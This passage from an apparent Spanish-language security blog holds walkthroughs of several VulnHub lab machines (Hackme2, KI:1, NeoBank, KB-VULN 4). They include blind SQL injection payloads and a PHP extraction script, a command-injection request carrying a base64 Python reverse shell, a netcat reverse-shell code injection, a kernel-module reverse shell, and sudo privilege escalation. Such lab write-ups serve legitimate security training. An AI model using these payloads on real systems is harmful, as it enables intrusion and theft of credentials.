0.0.0.0:9999</div><div>Ncat: Connection from 192.168.2.135.</div><div>Ncat: Connection from 192.168.2.135:52700.</div><div>bash: cannot set terminal process group (5331): Inappropriate ioctl for device</div><div>bash: no job control in this shell</div><div>root@cengbox:~# </div></div><p><span style="font-size: medium;"><br /></span></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-61747343005288953942022-08-10T08:27:00.007-07:002022-08-10T08:37:55.321-07:00Breaking Hackme2: medium difficulty blind sql injection<p style="text-align: justify;"> https://www.vulnhub.com/entry/hackme-2,618/</p><div style="text-align: justify;"><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333;"><b>medium difficulty</b></span></div><p style="text-align: justify;">- Nos encontramos con una pantalla de login y la posibilidad de registrarnos. Lo hacemos y se nos presenta un catálogo de libros donde podemos buscar. Después de probar fuzz parece que lo único viable es fuerza bruta o inyección sql y aquí radica lo interesante como buen ejemplo de '<b>blind sql injection</b>' y de que sin saber cómo pueden acceder a nuestro sitio ;)</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6ZpFDAIuqPvMo9lgZZJnwXVz-vy2WL35u_uAO_Z4DWAIBxgVFb7_9r291ITpPXBimtIWGW9N0V4iEEKWfPNjS_6qeRz-1MYJWwUgKvg6TWWVUostYDo4_NO0xqHsbBKKJABbTqSC6zyCM2mXyCfvzkEZy8lQw3l0e2MrizxpGHz5UWJxNHDSxSxGJ/s747/injectpoc2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="519" data-original-width="747" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6ZpFDAIuqPvMo9lgZZJnwXVz-vy2WL35u_uAO_Z4DWAIBxgVFb7_9r291ITpPXBimtIWGW9N0V4iEEKWfPNjS_6qeRz-1MYJWwUgKvg6TWWVUostYDo4_NO0xqHsbBKKJABbTqSC6zyCM2mXyCfvzkEZy8lQw3l0e2MrizxpGHz5UWJxNHDSxSxGJ/s320/injectpoc2.jpg" width="320" /></a></div><br /><p style="text-align: justify;"><br /></p><p style="text-align: justify;">- Lo primero es probar de qué manera es vulnerable. Podría ser en el login, al registrarse o en la búsqueda. Hay que probarlo todo pero es obvio que el campo de búsqueda es el candidato ideal. Sabemos que al buscar en vacío devuelve todo el catálogo, luego vamos a probar una inyección básica:</p><p style="text-align: justify;">' or 1=1 -- -</p><p style="text-align: justify;">Para eso utilizamos mejor Burp y vamos probando hasta que nos devuelva el catálogo, signo de que hemos dado con la inyección correcta. Hay que probarlo todo por si hay algún mecanismo de protección, y así es como llegamos a </p><p style="text-align: justify;"><b>'/**/oR/**/'1'='1'oR/**/'</b></p><p style="text-align: justify;">que hay que enviar <b>urlencodeado</b></p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2wjbpC1d2qwUYgSNjNtquGq5H88qCJyttA1j8vwcEju-H6RZJq2AMewywJpkz6EWdltwH3-ZG6E_0NxdiTHd_LQyaxxLFdWTtPLDS9IwUwayRnJjnTiiXBNaeVZz4eE52jUaQQEEAWJlNoa-Wi0A2pwFJIL8XzE8A3T5tKISO-gLRy0puUze7cHpP/s1308/injectpoc.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="832" data-original-width="1308" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2wjbpC1d2qwUYgSNjNtquGq5H88qCJyttA1j8vwcEju-H6RZJq2AMewywJpkz6EWdltwH3-ZG6E_0NxdiTHd_LQyaxxLFdWTtPLDS9IwUwayRnJjnTiiXBNaeVZz4eE52jUaQQEEAWJlNoa-Wi0A2pwFJIL8XzE8A3T5tKISO-gLRy0puUze7cHpP/w543-h402/injectpoc.jpg" width="543" /></a></div><br /><p>- A partir de ahí hay que hacer inyección ciega con el único criterio de que si hacemos la petición correcta salga el catálogo entero. Ejemplo:</p><p><b>'/**/oR/**/'1'='1'/**/AND/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/1,1)/**/LIKE/**/'u%'/**/oR/**/'</b></p><p>De esta manera vamos comprobando cada carácter del nombre de la tabla indicada (en este caso u en LIKE/**/'u%') y así podemos sacar todas las tablas, las columnas de cada una y los valores. Nos interesa buscar los usuarios y las passwords, y eso se puede automatizar:</p><div style="text-align: left;"><i><?php<br /></i><i>function finddata($query)<br /></i><i>{<br /></i><i><span style="white-space: pre;"> </span>$url="http://192.168.2.48/welcome.php";<br /></i><i><span style="white-space: pre;"> </span>$headers=array(<br /></i><i>"Content-Type: application/x-www-form-urlencoded",<br /></i><i>"Cookie: PHPSESSID=fud7t74636vfa9opo9lme101di",<br /></i><i>"Host: 192.168.2.48");</i><i><br /></i><i><span style="white-space: pre;"> </span>$return=array();<br /></i><i><span style="white-space: pre;"> </span>$charset = 'abcdefghijklmnopqrstuvwxyz0123456789_';<br /></i><i><span style="white-space: pre;"> </span>$f=$g=true;$d=0;<br /></i><i><span style="white-space: pre;"> </span>$query="' oR '1'='1' AND ".$query." oR '";<br /></i><span style="white-space: pre;"><i> <br /></i></span><i><span style="white-space: pre;"> </span>$ch = curl_init();<br /></i><i><span style="white-space: pre;"> </span>curl_setopt($ch, CURLOPT_URL,$url);<br /></i><i><span style="white-space: pre;"> </span>curl_setopt($ch, CURLOPT_POST, 1);<span style="white-space: pre;"> <br /></span></i><i><span style="white-space: pre;"> </span>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br /></i><span style="white-space: pre;"><i> <br /></i></span><i><span style="white-space: pre;"> </span>while ($g)<br /></i><i><span style="white-space: pre;"> </span>{<br /></i><i><span style="white-space: pre;"> </span>$v1="";<br /></i><i><span style="white-space: pre;"> </span>while ($f)<br /></i><i><span style="white-space: pre;"> </span>{<br /></i><i><span style="white-space: pre;"> </span>$f=false;<br /></i><i><span style="white-space: pre;"> </span>for ($c=0;$c<strlen($charset);$c++)<br /></i><i><span style="white-space: pre;"> </span>{<br /></i><i><span style="white-space: pre;"> </span>$t = $v1.$charset[$c];<br /></i><i><span style="white-space: pre;"> </span>$inject=str_replace(array('dn','tn'),array($d,$t),$query);<span style="white-space: pre;"> <br /></span></i><i><span style="white-space: pre;"> </span>$post="search=".urlencode(str_replace(" ","/**/",$inject));<span style="white-space: pre;"> <br /></span></i><i><span style="white-space: pre;"> </span>curl_setopt($ch, CURLOPT_POSTFIELDS,$post);<span style="white-space: pre;"> <br /></span></i><i><span style="white-space: pre;"> </span>$h2 = $headers;$h2[]="Content-Length: ".strlen($post);<br /></i><i><span style="white-space: pre;"> </span>curl_setopt($ch, CURLOPT_HTTPHEADER,$h2);<br /></i><i><span style="white-space: pre;"> </span>$res = curl_exec($ch);<br /></i><i><span style="white-space: pre;"> </span>if (strpos($res,'Anonymous Hackers')) {$f=true;$v1=$t;echo $v1."\x0d";break;}<br /></i><i><span style="white-space: pre;"> </span>}<br /></i><i><span style="white-space: pre;"> </span>}<br /></i><i><span style="white-space: pre;"> </span>++$d;$f=true;echo "\n";if ($v1=="") $g=false; else $return[]=$v1;<br /></i><i><span style="white-space: pre;"> </span>}<br /></i><i>return $return;<span style="white-space: pre;"> <br /></span></i><i>}</i><i><br /></i><i>echo "TABLAS\n";</i><i><br /></i><i>finddata("(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT dn,1) LIKE 'tn%'");</i><i><br /></i><i>echo "Columnas de users\n";</i><i><br /></i><i>finddata("(SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT dn,1) LIKE 'tn%'");</i><i><br /></i><i>echo "Entradas de user\n";<br /></i><i>$users=finddata("(SELECT user FROM users LIMIT dn,1) LIKE 'tn%'");</i><i><br /></i><i>echo "Entradas de password\n";</i><i><br /></i><i>$passwords=finddata("(SELECT pasword FROM users LIMIT dn,1) LIKE 'tn%'");</i><i><br /></i><i>for ($k=0;$k<sizeof($users);$k++)<br /></i><i>{<br /></i><i>echo $users[$k]." ".$passwords[$k]."\n";<span style="white-space: pre;"> <br /></span></i><i>}<br /></i><i>?></i></div><p style="text-align: left;">- Una vez sacado el usuario <b>superadmin </b>y su contraseña en md5, la crackeamos y al acceder con este usuario tenemos la posibilidad de uploadear un <b>shell reverse</b> directamente.</p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='439' height='366' src='https://www.blogger.com/video.g?token=AD6v5dxoRhAOO4zg3hWNvraDQ74X456O48lXOjqdLWJfVN4CvCE7cYcWhPdAhzJMOesh8C-EIwcH12toX80OO2xzKQ' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div><br /><p><br /></p><p><br /></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-39974816065848683882022-08-05T11:03:00.002-07:002022-08-05T11:04:38.718-07:00Breaking KI:1 Walkthrough | runki injection + kmod exploit<p> Wup KI: 1</p><p><br /></p><p>https://www.vulnhub.com/entry/ki-1,641/</p><p><br /></p><p>- puertos 80 y 22. En 80 un frontend sin mucha historia excepto que en el index aparece este mensaje</p><p><br /></p><p> <b><!-- T-56818 Link removed due to bug report. Will remove the debug page later - chris --></b></p><p> </p><p>- gobuster y encontramos <b>debug.php</b>, al acceder</p><p><br /></p><p><b><!-- T-56819 - added file parameter for easier page navigation with linuxki - chris --></b></p><p><br /></p><p><i>=== runki for Linux version 6.0</i></p><p><i>!!! runki script must be run as root</i></p><p><i>!!! currently logged in with UID 33</i></p><p><br /></p><p>- Tenemos así que se le pasa el parámeter file, hay que buscar resultados: sabemos que es un sistema runki</p><p><br /></p><p>https://github.com/HewlettPackard/LinuxKI/releases</p><p><br /></p><p>y que tiene una archivo vulnerable: <b>kivis.php // https://www.exploit-db.com/exploits/48483</b></p><p><br /></p><p>al que se accede por la ruta </p><p><br /></p><p><b>/linuxki/experimental/vis/kivis.php</b></p><p><br /></p><p>- probamos la vulnerabilidad pero no funciona, probamos entonces el debug.php</p><p><br /></p><p>/debug.php?file=?</p><p><br /></p><p>buscamos el kivis.php, probamos alternativas y con <b>file=kivis</b> sale. Vemos que tiene una protección contra el exploit anterior:</p><p><br /></p><p>// this should keep those rapscallion hackers out! - chris</p><p>function url_filter($url_args){</p><p> $blacklisted_chars = array(</p><p> ';' => '',</p><p> '&' => '',</p><p> '$' => '',</p><p> '(' => '',</p><p> ')' => '',</p><p> ' |' => '',</p><p> );</p><p><span style="white-space: pre;"> </span></p><p>se trata entonces de lograr un bypass de este control. Resalta el último check ' |' => '', al que le falta la doble |, pues con esto se logra el bypass, es decir, en Burp</p><p><br /></p><p><b>GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cls%7C%7C </b></p><p><br /></p><p>conseguimos RCE. Ya solo falta meter el reverse shell, que tras varios intentos conseguimos creando un archivo hack.php pasando el contenido en base64</p><p><br /></p><p><i>GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cecho%20%27PD9waHAgc3lzdGVtKCJweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIjE5Mi4xNjguMi44NlwiLDkwMDgpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIik7Pz4%3D%27%20%7C%7C%20base64%20-d%20%3E%20hack.php%7C%7C HTTP/1.1</i></p><p><br /></p><p>GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Ccat%20hack.php%7C%7C HTTP/1.1</p><p><br /></p><p><textarea name='kidetail' cols='190' rows='56'> <?php system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.86\",9008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");?> </textarea></p><p><br /></p><p>- una vez dentro miramos en el <b>.htpasswd</b> de /var/www/html y nos da la contraseña md5 de chris, jhf y dentro su chris</p><p><br /></p><p>- no tenemos sudo -l, pero en el directorio home de chris hay un hint y tenemos suid kmod. Esto nos lleva al exploit pinkit</p><p><br /></p><p><b>https://github.com/PinkP4nther/Pinkit</b></p><p><br /></p><p>- descargamos el github, make, abrimos en otra ventana de nuestra máquina el nc a la escucha y hacemos (insmod es alias de kmod, que es suid con lo que podemos conseguir un shell reverse root)</p><p><br /></p><p><b>insmod pinkit.ko host="REV_TCP_LH=127.0.0.1" port="REV_TCP_LP=1339"</b> // cambiar ip y port</p><p><br /></p><p>─(kali㉿kali)-[~]</p><p>└─$ nc -lvnp 9007</p><p>Ncat: Version 7.92 ( https://nmap.org/ncat )</p><p>Ncat: Listening on :::9007</p><p>Ncat: Listening on 0.0.0.0:9007</p><p>Ncat: Connection from 192.168.2.108.</p><p>Ncat: Connection from 192.168.2.108:49030.</p><p>/bin/sh: 0: can't access tty; job control turned off</p><p># id</p><p><b>uid=0(root) gid=0(root) groups=0(root)</b></p><p># cd /root</p><p># ls</p><p>root.txt</p><p>snap</p><p># cat root.txt</p><p>Congratulations! Feel free to tweet me @cwinfosec for feedback.</p><p><br /></p><p>ae3e05609da7811c015920151e295612</p><p># </p><div><br /></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-71750190530446558582022-08-05T05:45:00.005-07:002022-08-28T17:44:29.109-07:00Breaking NEOBANKHTTPS://WWW.VULNHUB.COM/ENTRY/NEOBANK-1,642/<br /><br />- solo tenemos abierto el puerto 5000 --> apunta a servidor python flask<div><br />- fuzzeamos y encontramos: LOGIN,LOGOUT, QR,OTP,WITHDRAW,EMAILS_LIST</div><div><br />- parece orientado a bruteforcear el login con alguno de los emails. Dado que la pass es un código otp hablamos de 1000000 de números aunque podemos empezar filtrando el diccionario rockyou para extraer las passwords que sean números de 6 dígitos. Se hace con Burp y sale rápidamente para zeus (hay que hacerlo lentamente y este es el problema, si no se bloquea la máquina). Y hay que analizar sobre todo la cookie en base64. Por longitud sale rápidamente que hemos logueado. </div><div><br />- una vez dentro nos pide factor 2f de autenticación (/otp) pero necesitamos el secreto. Usando /qr obtenemos el código qr que incluye el secreto y generamos el 2f: <div><br /></div><div>python -c 'import pyotp;totp = pyotp.TOTP("secreto");print(totp.now())'</div><div><br /></div><div>- Con eso accedemos a la página withdraw donde parece que está el punto de inyección. Probamos si es vulnerable (7*7) y procedemos: </div><div><br /></div><div><span face="ui-monospace, "Cascadia Mono", "Segoe UI Mono", "Liberation Mono", Menlo, Monaco, Consolas, monospace" style="background-color: #e3e6e8; color: #232629; font-size: 13px; white-space: pre-wrap;">__import__('os').system('nc your_ip port -e /bin/sh') (urlencodear)</span></div><div><span face="ui-monospace, "Cascadia Mono", "Segoe UI Mono", "Liberation Mono", Menlo, Monaco, Consolas, monospace" style="background-color: #e3e6e8; color: #232629; font-size: 13px; white-space: pre-wrap;"><br /></span></div><div><br /></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;">- desde el shell reverse leemos el archivo main.py y con las credenciales mysql accedemos a los usuarios y nos encontramos con la contraseña de banker</span></span></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;"><br /></span></span></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;">- su banker + passwd, sudo -l y </span></span></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;"><br /></span></span></div><div><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;"><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><div>User banker may run the following commands on neobank:</div><div> (ALL) NOPASSWD: /usr/bin/apt-get</div><div>banker@neobank:/var/www/html$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh</div><div><apt-get update -o APT::Update::Pre-Invoke::=/bin/sh</div><div># id</div><div>id</div><div>uid=0(root) gid=0(root) groups=0(root)</div></span></span></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;"><br /></span></span></div><div><span face="ui-monospace, Cascadia Mono, Segoe UI Mono, Liberation Mono, Menlo, Monaco, Consolas, monospace" style="color: #232629;"><span style="background-color: #e3e6e8; font-size: 13px; white-space: pre-wrap;"><br /></span></span></div><div><br /></div></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-27555445941532515152022-08-02T09:03:00.004-07:002022-08-02T10:34:43.752-07:00BREAKING KB-VULN: 4 FINAL: buen ejemplo de buffer overflow con ASLR activado<p style="text-align: justify;"> https://www.vulnhub.com/entry/kb-vuln-4-final,648/</p><p style="text-align: justify;"><b>Nivel: quizá medium (sobre todo por la parte de buffer overflow)</b></p><p style="text-align: justify;">- ports: 80,22, la web parece hackeada de por sí (;)) y tiene un <b>textpattern </b>instalado. Después de probar varias cosas parece que lo único viable es loguear, pero no tenemos las claves</p><p style="text-align: justify;">- de la página principal sacamos que ha sido un tal machineboy141 que dice que lo busquemos. Usamos <b>sherlock </b>y vamos al github asociado. Miramos varias cosas y parece que el objetivo es KB-DUMP, en cuyo zip hay varias imágenes (parece Mr Robot). Hacemos stego con <b>stegseek </b>y automáticamente saca en 3 imágenes texto oculto del que deducimos que es para loguear en el textpattern. Sabemos que el login tiene que ser admin, luego hacemos ROT47 y encontramos el descifrado (https://www.dcode.fr/cipher-identifier). Para loguear hace falta además actualizar la password: contiene 2020, pero la máquina es de 2021, actualizamos y ya... (ojo a esto que es bastante habitual en usuarios normales)</p><p style="text-align: justify;">- una vez dentro solo hay que subir un shell reverse en la opción files, acceder a él y tenemos shell apache. Lo siguiente es<b> escalar privilegios</b>, subir en este caso al usuario machineboy (lo suyo es mirar en passwd o en home directamente para ver qué usuarios hay, pero con passwd sabemos el nivel de privilegio de cada uno)</p><p style="text-align: justify;">- así que hay que entrar en machineboy. En el config.php de textpattern nos da una clave: ghostroot510 asociada al usuario textuser, y siempre hay que comprobar las claves, con machineboy y dentro.</p><p style="text-align: justify;">- machineboy tiene privilegios lxd, pero no funciona la vulnerabilidad. Tenemos sin embargo en su home un script install root que parece debemos romper, hacer <b>bufferoverflow</b>. Nos da el código c y tenemos el gdb-peda instalado (así que está claro)</p><p style="text-align: justify;">- install.c</p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">#include <stdio.h></div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">#include <stdlib.h></div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">void <b>spawn_shell</b>()</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">{</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> setuid(0);</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> system("/bin/bash");</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">}</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">int main()</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">{</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> char buff[30];</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> const char *env = getenv("INSTALLED");</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> if(env != NULL)</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> {</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> strcpy(buff,env);</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> printf("%s\n",buff);</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> }</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> else</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> {</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> system("sudo apt install sl");</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> system("export INSTALLED=OK");</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> }</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;"> return 0;</div></blockquote></blockquote></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><div style="text-align: justify;">}</div></blockquote></blockquote></blockquote></blockquote><p style="text-align: justify;">- es un ejemplo sencillo pero pedagógico para ver cómo funciona esto. Veamos:</p><p style="text-align: justify;">al ejecutarse comprueba si hay una variable environment INSTALLED con algún valor, si la hay llena buff con su valor y lo imprime. Si no, ejecuta el apt install y exporta la variable.</p><p style="text-align: justify;"><br /></p><p style="text-align: justify;"><br /></p><p style="text-align: justify;">Dos cosas:</p><p style="text-align: justify;">1º que la función spawn_shell no se ejecuta nunca a no ser que accedamos a ella directamente por buffer overflow</p><p style="text-align: justify;">2º que el punto de entrada es obviamente la variable buff</p><p style="text-align: justify;"><br /></p><p style="text-align: justify;"><br /></p><p style="text-align: justify;">Lo primero además es comprobar si la máquina <b>tiene aslr activado</b></p><p style="text-align: justify;">cat /proc/sys/kernel/randomize_va_space </p><p style="text-align: justify;"><b>y lo tiene, luego el programa va cambiando la dirección de carga en memoria.</b></p><p style="text-align: justify;"><br /></p><p style="text-align: justify;"><i><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">La </span><b style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background-color: white; color: #202122; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; transition-duration: 0ms;">aleatoriedad en la disposición del espacio de direcciones</b><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> (conocida por las siglas en inglés </span><b style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background-color: white; color: #202122; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; transition-duration: 0ms;">ASLR</b><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">) es una técnica de </span><a href="https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Seguridad informática">seguridad informática</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> relacionada con la explotación de </span><a href="https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Seguridad informática">vulnerabilidades</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> basadas en la </span><a href="https://es.wikipedia.org/wiki/Corrupci%C3%B3n_de_memoria" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Corrupción de memoria">corrupción de 